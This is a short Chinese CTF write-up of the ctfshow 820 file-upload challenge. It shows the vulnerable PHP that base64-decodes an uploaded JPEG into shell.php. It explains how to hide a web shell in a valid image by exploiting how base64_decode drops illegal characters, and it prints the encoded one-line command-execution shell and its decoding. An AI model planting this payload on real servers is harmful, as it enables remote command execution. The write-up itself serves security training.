ctfshow820(精心构造带马正常图片)

if(strlen($_FILES['file']['tmp_name'])>0){
    $filetype = $_FILES['file']['type'];
    $tmpname = $_FILES['file']['tmp_name'];
    $ef = getimagesize($tmpname);

    if( ($filetype=="image/jpeg") && ($ef!=false) && ($ef['mime']=='image/jpeg')){
        $content = base64_decode(file_get_contents($tmpname));
        file_put_contents("shell.php", $content);
        echo "file upload success!";
    }
}

geiimagesize函数

$filetype=="image/jpeg"是检测的Content-Type:类型;

$ef!=false保证了图片的一些属性必须要有;(细看getimagesize函数)

$ef['mime']=='image/jpeg'检测的文件头。

 

在php的base64_decode中,会只对合法字符合并后解码(4个字符为1组),非法字符会直接丢弃,不参与整体的base64解码。

//64个字符
a-zA-Z0-9/+

构造如下:(感谢群主大大)

构造完成的图片中,前几个可读字符串是:

PD89YCRfR0VUWzFdYDs7Pz4C

base64解码后

<?=`$_GET[1]`;;?>

 

总结:慢慢造图呗。

不太会在这放上原图链接, 有需要的自己比照着搞一个吧,或者我上传到群文件。

 

posted @ 2022-11-08 11:57  hithub  阅读(111)  评论(0编辑  收藏  举报